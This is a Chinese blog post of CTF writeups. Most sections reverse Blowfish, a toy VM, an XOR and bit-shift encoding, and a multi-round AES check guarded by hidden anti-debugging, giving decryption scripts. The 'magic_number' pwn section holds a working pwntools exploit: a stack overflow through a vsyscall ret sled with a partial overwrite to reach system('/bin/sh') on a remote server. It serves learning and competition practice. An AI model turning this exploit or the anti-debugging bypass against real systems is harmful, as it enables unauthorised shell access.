杂合writeup

平时一些零散的CTF题的记录。

little fish (re)

链接:https://pan.baidu.com/s/1Wpl5KjFQf33hgQpE29YuKQ
提取码:slh8
复制这段内容后打开百度网盘手机App,操作更方便哦

程序打不开,提示缺少libstdc++-6.dll,做完google半天找这个库下载,但都是32位的。。想验证flag都不行。。

ida中main函数伪代码,很简单:

image-20200817163536555

加密函数整体:里面还涉及2个表,且加密有点绕。感觉是什么加密。。但不清楚。。

image-20200817164301185

之后从百度了其中的一个表中部分数据,从一篇文章中找到加密算法:

image-20200817164720071

其实题目文件有提示,但对于不知道这个加密算法来说就是没有提示。。。

然后找blowfish加密算法文章学习。讲的好清楚

再次回到ida中看题目中的加密算法,对比下,这次当然是清楚好多,也确定了就是正常的blowfish加密。

先是写找到网上的blowfish加密算法,使用C语言写来模拟了下,然后解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include <stdio.h>

#define N 16

typedef struct {
unsigned int P[16 + 2];
unsigned int S[4][256];
} BLOWFISH_CTX;

BLOWFISH_CTX ctx;
unsigned int ORIG_P[] = { 原始的P盒数据 };//使用PI来填充的
unsigned int ORIG_S[] = { 原始的S盒数据,太多这里省略 };//使用PI来填充的

static unsigned int F(BLOWFISH_CTX* ctx, unsigned int x) {
unsigned short a, b, c, d;
unsigned int y;

d = (unsigned short)(x & 0xFF);
x >>= 8;
c = (unsigned short)(x & 0xFF);
x >>= 8;
b = (unsigned short)(x & 0xFF);
x >>= 8;
a = (unsigned short)(x & 0xFF);
y = ctx->S[0][a] + ctx->S[1][b];
y = y ^ ctx->S[2][c];
y = y + ctx->S[3][d];

return y;
}

void Blowfish_Encrypt(BLOWFISH_CTX* ctx, unsigned int* xl, unsigned int* xr) {
unsigned int Xl;
unsigned int Xr;
unsigned int temp;
short i;

Xl = *xl;
Xr = *xr;

for (i = 0; i < N; ++i) {
Xl = Xl ^ ctx->P[i];
Xr = F(ctx, Xl) ^ Xr;

temp = Xl;
Xl = Xr;
Xr = temp;
}

temp = Xl;
Xl = Xr;
Xr = temp;

Xr = Xr ^ ctx->P[N];
Xl = Xl ^ ctx->P[N + 1];

*xl = Xl;
*xr = Xr;
}

void Blowfish_Decrypt(BLOWFISH_CTX* ctx, unsigned int* xl, unsigned int* xr) {
unsigned int Xl;
unsigned int Xr;
unsigned int temp;
short i;

Xl = *xl;
Xr = *xr;

for (i = N + 1; i > 1; --i) {
Xl = Xl ^ ctx->P[i];
Xr = F(ctx, Xl) ^ Xr;

/* Exchange Xl and Xr */
temp = Xl;
Xl = Xr;
Xr = temp;
}

/* Exchange Xl and Xr */
temp = Xl;
Xl = Xr;
Xr = temp;

Xr = Xr ^ ctx->P[1];
Xl = Xl ^ ctx->P[0];

*xl = Xl;
*xr = Xr;
}


void Blowfish_Init(BLOWFISH_CTX* ctx, unsigned char* key, int keyLen) {
int i, j, k;
unsigned int data, datal, datar;

for (i = 0; i < 4; i++) {
for (j = 0; j < 256; j++)
ctx->S[i][j] = ORIG_S[256*i+j];
}

j = 0;
for (i = 0; i < N + 2; ++i) {
data = 0x00000000;
for (k = 0; k < 4; ++k) {
data = (data << 8) | key[j];
j = j + 1;
if (j >= keyLen)
j = 0;
}
ctx->P[i] = ORIG_P[i] ^ data;
}

datal = 0x00000000;
datar = 0x00000000;

for (i = 0; i < N + 2; i += 2) {
Blowfish_Encrypt(ctx, &datal, &datar);
ctx->P[i] = datal;
ctx->P[i + 1] = datar;
}

for (i = 0; i < 4; ++i) {
for (j = 0; j < 256; j += 2) {
Blowfish_Encrypt(ctx, &datal, &datar);
ctx->S[i][j] = datal;
ctx->S[i][j + 1] = datar;
}
}
}

int main(void)
{
unsigned char ida_chars[] =
{
16, 181, 42, 236, 176, 80, 177, 35, 64, 58,
39, 124, 30, 83, 41, 31, 177, 21, 54, 40,
251, 17, 191, 225, 50, 30, 197, 18, 228, 96,
172, 64
};//题目中的加密数据
unsigned char key[] = "R3v3rs3!";
char flag[33] = { 0 };

Blowfish_Init(&ctx, key, 8);
for (int i = 0; i < 8; i += 2)
{
unsigned int *l = ((unsigned int *)(ida_chars + 4 * i));
unsigned int *r = ((unsigned int *)(ida_chars + 4 * (i+1)));

*l = _byteswap_ulong(*l), *r = _byteswap_ulong(*r);
Blowfish_Decrypt(&ctx, l, r);
*l = _byteswap_ulong(*l), *r = _byteswap_ulong(*r);
}
printf("flag{");
for (int i = 0; i < 32; i++)
printf("%c", ida_chars[i]);
printf("}");

return 0;
}

image-20200817165817614

python的话,找到了可以使用Crypto模块。

安装

goole和百度下用法:得到和C语言中一样的结果:

image-20200817170245529

最后,本题关键就是算法的学习。

magic_number (pwn)

第一次遇到,利用vsyscall中的ret指令充当滑梯,直到可以通过覆盖低字节处得到我们指定函数的地址。

查保护:关键就是程序开启了PIE。

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址。

本题,栈溢出,控制程序走向即可。但难的就是有PIE使程序每次加载的地址不一样。

利用vsyscall绕过PIE。可以利用的地址是0xffffffffff600000、0xffffffffff600400、 0xffffffffff600800,因为他们是不变的。

首先查看利用proc文件查看程序加载的基地址:image-20200911210254714

更改ida载入的基地址使其与之对应。找到要下断的地址。image-20200911210500410

gdb下断调试,通过查看栈确定需要使用vsyscall的个数。可以看到使用4个即可。image-20200911210854601

找到需要控制程序走向的目的地址。(即system(‘bin/sh’);)image-20200911211045084

所以最后只需将最低字节的80覆盖为A8即可。

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
p = remote('183.129.189.60', 10053)
#p = process('./8')
pay = 'B'*0x38+p64(0xFFFFFFFFFF600400)+p64(0xFFFFFFFFFF600400)+p64(0xFFFFFFFFFF600400)+p64(0xFFFFFFFFFF600400)+b'\xA8'
p.recvuntil('Your Input :')
p.send(pay)

p.interactive()

VM_WORLD(re)

链接:https://pan.baidu.com/s/1BYmMrqGaiKT6W_HVd9eoPA
提取码:5b5o
复制这段内容后打开百度网盘手机App,操作更方便哦

一个简单的虚拟机题目,从学校师傅哪里学会了修复ida无法F5switch语句的方法。

首先简单看一下:image-20200912171012942

所以进入OD动态到关键函数,并dump出,载入ida:可以看到是不能F5的。image-20200912171258533

但看了一下这个函数的代码也不是很长,直接读汇编将其写成了C语言代码:一个简单的虚拟机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <string.h>

unsigned char op[] = {0xF0, 0xF2, 0xF3, 0x01, 0xF5,
0xF0, 0xF6, 0xF4, 0xF1, 0xF7};
int main(void)
{
int n = 0, temp = 0;
int i = 0, j = 0, k = 0;
char input[] = "aaaaaaaaaaaaaaaaa";
char s[50] = {0};

while(1)
{
n = op[i]-0xf0;
if(n == 0)
{
s[k] = input[j] & 0xFF;
k++, i++;
}
else if(n == 1)
{
k--;
input[j-1] = s[k];
i++;
}
else if(n == 2)
{
k--;
temp = s[k];
i++;
}
else if(n == 3)
{
temp += op[i+1];
i += 2;
}
else if(n == 4)
{
int t = 0, ans = 0;
if(k == 0)
t = i;
else
t = s[k-1];
ans = t ^ temp;
if(k == 0)
i = ans;
else
s[k-1] = ans;
i++;
}
else if(n == 5)
{
j++;
i++;
}
else if(n == 6)
{
int t = 0;
if(k == 0)
t = i;
else
t = s[k-1];

if(t == 0 || t == 10)
i += 3;
else
i += 1;
}
else if(n == 7)
{
int _64 = 0;
while(input[_64])
{
_64++;
}
if(j == _64)
break;
else
i = 0;
}
}

for(i = 0; i < strlen(input); i++)
printf("%d ", input[i]);

return 0;
}

其实就只有异或和加减操作,简答逆一下即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>

unsigned char ida_[] =
{
11, 12, 5, 19, 73, 87, 3, 91, 13, 12,
4, 10, 20, 75, 84, 82, 83, 31, 26, 84,
86, 86, 73, 76, 2, 91, 94, 72, 74, 83,
82, 4, 83, 84, 2, 92, 11, 3, 6, 2,
69, 125, 0, 0, 0, 0, 0, 0
};

int main(void)
{
int i = 0;

for(i = 40; i >= 0; i--)
ida_[i] = (ida_[i]^ida_[i+1])-1;
for(i = 0; i < 42; i++)
putchar(ida_[i]);

return 0;
}

//flag{5aa97418-e2a1-4a4c-ba9d-d6eb0ed91147}

后面问了出题师傅,才知道那个是可以修复一下的。其实就是switch语句的每个跳转用了一张表来存储,但由于基地址等对不上,导致分析出错。

所以首先修改与表对应的基地址,然后恢复储存跳转的表。image-20200912172413213

最后手动修改swicth的声明:image-20200912172623345

olfo(2020.10.17 n1ctf)

首先打开ida看不到发现没有找到main函数,这是加了花指令,ida找不到。。从start可以看到。

花指令很少(2种)也很简单,手动去除都可。。

jmp

image-20201017173801189

call

image-20201017173819199

然后就是用fork()函数创建一个子进程,返回2次,当是父进程时返回一个大于0的数,且在父进程使用ptrace函数获得一些后面异或需要的数据。image-20201017174401711

对于我,关键就是fork()多进程的调试,这里ida我动调一直在wait状态。。

然后找到gdb多进程调试。使用set follow-fork-mode [parent|child]指定调试的进程,用show follow-fork-mode查看被调试的进程。fork 多进程调试

其它的就不说了,最后直接idapython得到flag。

还有就是一篇关于ptrace理解的文章(很详细):ptrace

ctfshow_大牛杯(2021/5/4)

easy

一个base移位的操作,然后考了一个逻辑表达式化简,记录一下。

首先看到移位:

image-20210504205241610

每5个变4个,实质就是把5*8 = 40位,分成了40/10 = 4,1个字节存放不下,所以结果使用dword型数据存放的。这和那些base64,base32都是一个道理,就看怎么分配那些位。base64:除以6;base32:除以5;其它都是依次类推。

image-20210504212207209

然后逻辑表达式运算:4一个都是一样的计算,每次处理4个字节,一共16个字节。把这个运算写出来:(a^b)&(~(a&b)) = a^b;

image-20210504210119852

显然,上面的&运算是不可逆的,数字电路学过这种化简的,对上面可进行如下的化简:最后就是一个异或。

image-20210504165847724

最后开始用C语言写了一个常规的移位还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>

unsigned int enc[16] = {
0x000001A9, 0x00000233, 0x00000179, 0x0000017F, 0x000001A5, 0x000002C6, 0x00000137, 0x00000358,
0x000000E1, 0x00000305, 0x000003EC, 0x00000153, 0x0000015D, 0x00000247, 0x0000017B, 0x00000201
};
char flag[100], cnt;

void decode(unsigned int a[])
{
int i;

flag[cnt++] = (a[0] >> 2)&0xff;
flag[cnt++] = ((a[0]&3) << 6) | (a[1] >> 4);
flag[cnt++] = ((a[1]&0xf) << 4) | (a[2] >> 6);
flag[cnt++] = ((a[2]&0x3f) << 2) | (a[3] >> 8);
flag[cnt++] = a[3] & 0xff;
}

int main(void)
{
int i;

for(i = 0; i < 16; i++)
enc[i] ^= 0x20;

for(i = 0; i < 4; i++)
decode(enc+4*i);

puts(flag);

return 0;
}
//ba5e_and_x0r_1s_fun!

其实这种用python处理起来是十分方便的,也通用。首先提取出所有的二进制位,然后根据分配原则,还原就好了。

1
2
3
4
5
6
7
8
enc = [0x000001A9, 0x00000233, 0x00000179, 0x0000017F, 0x000001A5, 0x000002C6, 0x00000137, 0x00000358, 0x000000E1, 0x00000305, 0x000003EC, 0x00000153, 0x0000015D, 0x00000247, 0x0000017B, 0x00000201]
enc = [bin(enc[i]^0x20)[2:].zfill(10) for i in range(len(enc))]
enc = ''.join(enc)
flag = ''
for i in range(0, len(enc), 8):
flag += chr(int(enc[i:i+8], 2))

print(flag)

GKCTF(2021.6)

KillerAid

链接:https://pan.baidu.com/s/1ZlVFn7TDXTV93D1XKno-dQ
提取码:omkn

一个C#逆向,C#层是第一层加密,关键加密在dll中。

使用dnspy看到c#层:涉及输入id和code的简单异或加密。
image-20220120171135381

可以看到最后调用了CheckCode函数,这是一个从载入的dll中导出的函数。

到ida中调试该dll,直接闪退,那一般就是有反调试了,

直接找了找IsDebuggerPresent相关的函数,确实有但下断后调试根本没有断下来。

然后猜测是动态获取相关api来调用的方式,像一些恶意文件的做法,也果然在字符串中找了IsDebuggerPresent相关反调试相关的字符串,从字符串定位到:

image-20220120171912516

接着继续向上找相关函数调用,来到的反调试函数,这里面的反调试还不少,多种多样:

image-20220120172018647

继续向上回溯,可以发现是创建一个线程来调用这个这个反调试的函数,那直接将这个创建线程的函数patch掉就能调试了。
image-20220120172544137

以上也是本题相对于比较隐藏的一个点,利用动态获取所有要使用的api的方式隐藏反调试的代码。

后面就很常规了。

看到从这个dll导出的CheckCode函数,一个标准的aes加密,只是加密了32轮,然后每轮的key和iv不一样,分析时做了一定的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
__int64 __fastcall CheckCode(__int64 input_code)
{
unsigned __int64 len; // rbx
unsigned __int64 v3; // rsi
unsigned __int64 *code; // r14
int v5; // ebp
__int128 v6; // xmm1
unsigned __int8 *v7; // rbx
__int128 *v8; // r8
unsigned __int64 v9; // rdi
unsigned __int8 *v10; // rax
signed __int64 v11; // r8
__int64 v12; // rdx
__int128 v13; // xmm0
__int128 *p_i; // r8
__int64 v15; // r9
__int128 *v16; // rcx
__int64 v17; // rdx
__int64 v18; // rax
__int64 v19; // rcx
__int64 v20; // rdx
__int128 *v21; // r8
__int64 v22; // r9
__int128 *v23; // rcx
__int64 v24; // rdx
__int64 v25; // rax
__int64 v26; // rcx
__int64 v27; // rdx
__int64 v29; // [rsp+0h] [rbp-128h] BYREF
char key_all[176]; // [rsp+20h] [rbp-108h] BYREF
__int128 v31; // [rsp+D0h] [rbp-58h] BYREF
__int128 v32; // [rsp+E0h] [rbp-48h] BYREF
__int128 i; // [rsp+F0h] [rbp-38h] BYREF
__int64 v34; // [rsp+100h] [rbp-28h]

len = -1i64;
do
++len;
while ( *(_BYTE *)(input_code + len) );
v3 = (len & 0xFFFFFFFFFFFFFFF0ui64) + 16;
code = (unsigned __int64 *)sub_7FF881FB3254(v3);// malloc
sub_7FF881FB4A10((__int64)code, 0, v3); // memset
sub_7FF881FB7140((unsigned __int64)code, (const __m128i *)input_code, len);// memcpy
v5 = 32;
v6 = iv;
v32 = key;
for ( i = iv; ; v6 = i )
{
sub_7FF881FB1420(key_all, &v32); // key_exetension
v31 = v6;
v7 = (unsigned __int8 *)code;
v8 = &v31;
if ( v3 )
{
v9 = ((v3 - 1) >> 4) + 1;
do
{
v10 = v7;
v11 = (char *)v8 - (char *)v7;
v12 = 16i64;
do
{
*v10 ^= v10[v11]; // xor_iv
++v10;
--v12;
}
while ( v12 );
aes_128(v7, (__int64)key_all);
v8 = (__int128 *)v7;
v7 += 16;
--v9;
}
while ( v9 );
}
v13 = *v8;
p_i = &i;
v15 = 4i64;
v31 = v13;
do
{
v16 = p_i;
v17 = 4i64;
do
{
v18 = *(unsigned __int8 *)v16;
v16 = (__int128 *)((char *)v16 + 4);
*((_BYTE *)v16 - 4) = byte_7FF881FC8770[v18];// SubByte(iv)
--v17;
}
while ( v17 );
p_i = (__int128 *)((char *)p_i + 1);
--v15;
}
while ( v15 );
v19 = 0i64;
v20 = 16i64;
do
{
*((_BYTE *)&v32 + v19) ^= *((_BYTE *)&i + v19);// key ^= iv
++v19;
--v20;
}
while ( v20 );
v21 = &v32;
v22 = 4i64;
do
{
v23 = v21;
v24 = 4i64;
do
{
v25 = *(unsigned __int8 *)v23;
v23 = (__int128 *)((char *)v23 + 4);
*((_BYTE *)v23 - 4) = byte_7FF881FC8770[v25];// SubByte(key)
--v24;
}
while ( v24 );
v21 = (__int128 *)((char *)v21 + 1);
--v22;
}
while ( v22 );
v26 = 0i64;
v27 = 16i64;
do
{
*((_BYTE *)&i + v26) ^= *((_BYTE *)&v32 + v26);// iv ^= key
++v26;
--v27;
}
while ( v27 );
if ( !--v5 )
break;
}
sub_7FF881FC0730(code, (__int64)&byte_7FF881FCB9E0, v3);// memcmp()
sub_7FF881FB2E90(code); // free
return sub_7FF881FB2E40((unsigned __int64)&v29 ^ v34);
}

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from Crypto.Cipher import AES

def decrypt(key, enc, iv):
cryptos = AES.new(key, AES.MODE_CBC, iv)
#cryptos = AES.new(key, AES.MODE_ECB)
meg = cryptos.decrypt(enc)
return meg

sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]


key = 0xEBE9BBF1F1499052AED66CE184BE2329
key = key.to_bytes(16, "little")
iv = 0x0DE47B7061C0D5E24993E0C873CDBA6B3
iv = iv.to_bytes(16, "little")

enc = bytes([0xF6, 0x1C, 0xE3, 0xD7, 0xF9, 0xFB, 0x0B, 0x1A, 0x8B, 0xA2, 0x1D, 0xD8, 0x97, 0x94, 0x05, 0xC4, 0x6D, 0x97, 0xE7, 0x62, 0xB6, 0x7C, 0xEF, 0x9A, 0x88, 0x1B, 0xA4, 0x4D, 0xFD, 0xB0, 0xE4, 0x6E])

rsbox = [0]*256
for i in range(len(sbox)):
rsbox[sbox[i]] = i

for i in range(31):
iv = [sbox[i] for i in iv]
key = [key[i]^iv[i] for i in range(16)]
key = [sbox[i] for i in key]
iv = [key[i]^iv[i] for i in range(16)]
key = bytes(key)
iv = bytes(iv)

for i in range(32):
enc = decrypt(key, enc, iv)
iv = [key[i]^iv[i] for i in range(16)]
key = [rsbox[i] for i in key]
key = [key[i]^iv[i] for i in range(16)]
iv = [rsbox[i] for i in iv]
key = bytes(key)
iv = bytes(iv)

code = enc
id = [7, 90, 115, 1, 117, 99, 114, 97, 24]

for i in range(len(code)):
id[i%len(id)] ^= code[i]
print("id = ", bytes(id))
print("code = ", bytes(code))

#id = b'ginkgo_CX'
#code = b'Meaningless_!$!%*@^%#%_Code\x00\x00\x00\x00\x00'

验证:

image-20220120173429616

-------------本文结束感谢您的阅读-------------